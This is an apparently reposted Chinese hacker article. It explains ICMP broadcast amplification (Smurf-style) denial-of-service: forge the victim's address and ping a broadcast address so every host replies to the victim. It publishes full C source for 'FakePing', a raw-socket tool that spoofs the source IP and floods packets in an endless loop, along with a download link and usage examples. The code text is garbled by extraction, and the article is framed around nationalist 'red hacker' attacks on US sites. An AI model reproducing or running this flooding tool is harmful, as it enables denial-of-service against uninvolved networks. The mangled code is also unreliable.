上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量 unix主机的局域网内测试。

  说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量)
 

  伪装为主机C 所有广播主机都会错误的回复
主机A———————>广播地址=========================>主机C

  我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。

  使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。

源码公布如下:

typedef struct _iphdr //定义IP首部 

  unsigned char h_verlen
//4位首部长度,4位IP版本号 
  unsigned char tos
//8位服务类型TOS 
  unsigned short total_len
//16位总长度(字节) 
  unsigned short ident
//16位标识 
  unsigned short frag_and_flags
//3位标志位 
  unsigned char ttl
//8位生存时间 TTL 
  unsigned char proto
//8位协议 (TCP, UDP 或其他) 
  unsigned short checksum
//16位IP首部校验和 
  unsigned int sourceIP
//32位源IP地址 
  unsigned int destIP
//32位目的IP地址 
}IP_HEADER

// 定义ICMP首部 
typedef struct _ihdr 

  BYTE i_type
//8位类型 
  BYTE i_code
//8位代码 
  USHORT i_cksum
//16位校验和 
  USHORT i_id
//识别号(一般用进程号作为识别号) 
  USHORT i_seq
//报文序列号 
  ULONG timestamp
//时间戳 
}ICMP_HEADER

//CheckSum:计算校验和的子函数 
USHORT checksum(USHORT *bufferint size


  unsigned long cksum=0

  while(size >1

   

     cksum+=*buffer
++; 
     size -=sizeof(USHORT
); 
   

  if(size 

   

     cksum += *(UCHAR*)buffer

   

  cksum = (cksum >> 16) + (cksum 0xffff
); 
  cksum += (cksum >>16
); 
  return (USHORT)(~cksum
); 

//FakePing主函数 
int main(int argcchar **argv


  int datasize,ErrorCode,counter,flag

  int TimeOut=2000SendSEQ=0PacketSize=32

  char SendBuf[65535]={0
}; 
  WSADATA wsaData

  SOCKET SockRaw=(SOCKET)NULL

  struct sockaddr_in DestAddr

  IP_

HEADER ip_header
  ICMP_HEADER icmp_header

  char FakeSourceIp[20],DestIp[20
]; 

//接受命令行参数 
  if (argc<3

   

     printf(
"FakePing by Shotgun 
"
); 
     printf(
" This program can do Ping-Flooding from a FakeIP 
"
); 
     printf(
" Using a BroadCast IP as the FakeIP will enhance the effect 
"
); 
     printf(
"Email: 
"
); 
     printf(
" Shotgun@Xici.Net 
"
); 
     printf(
"HomePage: 
"
); 
     printf(
" http://It.Xici.Net 
"
); 
     printf(
" http://www.Patching.Net 
"
); 
     printf(
"USAGE: 
FakePing.exe FakeSourceIp DestinationIp [PacketSize] 
"
); 
     printf(
"Example: 
"
); 
     printf(
" FakePing.exe 192.168.15.23 192.168.15.255 
"
); 
     printf(
" FakePing.exe 192.168.15.23 192.168.15.200 6400 
"
); 
     exit(0
); 
   

  strcpy(FakeSourceIp,argv[1
]); 
  strcpy(DestIp,argv[2
]); 
  if (argc>3PacketSize=atoi(argv[3
]); 
  if (PacketSize>60000

   

     printf(
"Error! Packet size too big, must <60K 
"
); 
     exit(0
); 
   

  printf(
"Now Fake %s Ping %s using Packet size=%d bytes 
"

  FakeSourceIpDestIpPacketSize
); 
  printf(
" Ctrl+C to Quit 
"
); 
//初始化SOCK_RAW 
  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0

   

     fprintf(stderr,
"WSAStartup failed: %d 
"
,ErrorCode
); 
     ExitProcess(STATUS_FAILED
); 
   }&
n

bsp

  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET
   

     fprintf(stderr,
"WSASocket() failed: %d 
"
,WSAGetLastError
()); 
     ExitProcess(STATUS_FAILED
); 
   

  flag=TRUE

//设置IP_HDRINCL以自己填充IP首部 
  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof
(int)); 
  if(ErrorCode==SOCKET_ERROR

   printf(
"Set IP_HDRINCL Error! 
"
); 
  __try 

//设置发送超时 
  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut
)); 
  if (ErrorCode==SOCKET_ERROR

   

     fprintf(stderr,
"Failed to set send TimeOut: %d 
"
,WSAGetLastError
()); 
     __leave

   

  memset(&DestAddr,0,sizeof(DestAddr
)); 
  DestAddr.sin_family=AF_INET

  DestAddr.sin_addr.s_addr=inet_addr(DestIp
); 

//填充IP首部 
  ip_header.h_verlen=(4<<sizeof(ip_header)/sizeof(unsigned long)); 
//高四位IP版本号,低四位首部长度 
  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); 
//16位总长度(字节) 
  ip_header.ident=1

//16位标识 
  ip_header.frag_and_flags=0

//3位标志位 
  ip_header.ttl=128

//8位生存时间 TTL 
  ip_header.proto=IPPROTO_ICMP

//8位协议 (TCP, UDP 或其他) 
  ip_header.checksum=0

//16位IP首部校验和 
  ip_header.sourceIP=inet_addr(FakeSourceIp); 
//32 

位源IP地址 
  ip_header
.destIP=inet_addr(DestIp
); 

//32位目的IP地址 
//填充ICMP首部 
  icmp_header.i_type 8

  icmp_header.i_code 0

  icmp_he

ader.i_cksum 0
  icmp_header.i_id 2

  icmp_header.timestamp 999

  icmp_header.i_seq=999

  memcpy(SendBuf, &icmp_headersizeof(icmp_header
)); 
  memset(SendBuf+sizeof(icmp_header), ‘E’PacketSize
); 
  icmp_header.i_cksum checksum((USHORT *)SendBufsizeof(icmp_header)+PacketSize
); 
  memcpy(SendBuf,&ip_header,sizeof(ip_header
)); 
  memcpy(SendBuf+sizeof(ip_header), &icmp_headersizeof(icmp_header
)); 
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), ‘E’PacketSize
); 
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize01
); 
//计算发送缓冲区的大小 
  datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize

  ip_header.checksum=checksum((USHORT *)SendBuf,datasize
); 

//填充发送缓冲区 
  memcpy(SendBuf,&ip_headersizeof(ip_header
)); 
  while(1

   

    Sleep(100
); 
    printf("."
); 
    for(counter=0;counter<1024;counter
++) 
    

//发送ICMP报文 
     ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr
)); 
     if (ErrorCode==SOCKET_ERRORprintf(

Send Error:%d 
"
,GetLastError
()); 
    

   

}
//End of try 

 __finally 
  

   if (SockRaw != INVALID_SOCKETclosesocket(SockRaw
); 
   WSACleanup
(); 
  

 return 0


  撰写本文的目的不是号召大家用FakePing工具去攻击美国站点,只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮,FakePing也只能算得上是火枪而已,而美国已经研制出了航空母舰(一个操作系统的复杂度完全可以和航母媲美),难道用大刀、长枪、火枪去对抗航母?这样是很感人,也很悲壮,但是没有别的方法了?我们不能回去研制自己的战列舰?要是这次什么红客大战中二炮的专家们也出来参加Ping, 要是西昌的技术人员也去参加黑主页运动,我们不亡国才怪!
=========================
文章类型:转载